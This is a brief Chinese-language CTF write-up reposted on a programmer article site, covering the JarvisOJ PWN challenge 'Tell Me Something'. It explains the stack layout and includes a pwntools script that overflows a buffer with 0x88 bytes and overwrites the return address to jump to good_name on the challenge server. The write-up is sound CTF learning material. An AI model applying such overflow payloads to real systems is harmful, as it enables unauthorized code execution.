欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

JarvisOJ PWN

程序员文章站 2022-05-16 22:30:22
...

Tell Me Something

使用checksec查看保护机制:
JarvisOJ PWN
开启了NX保护(栈不可执行)
关键在于理解栈帧结构,找到good_name的地址后。
过程中遇到一个疑问,为什么payload是’a’*0x88+add而不是’a’*0x90+add,即为什么没有oldebp。
看汇编:
JarvisOJ PWN
并没有oldebp出栈的操作。

payload:

from pwn import*
r=remote('pwn.jarvisoj.com','9876')
print r.recvline()
pad='a'*0x88
add=p64(0x400620)
payload=pad+add
r.sendline(payload)
print payload
print r.recvline()
print r.recvline()

题目文件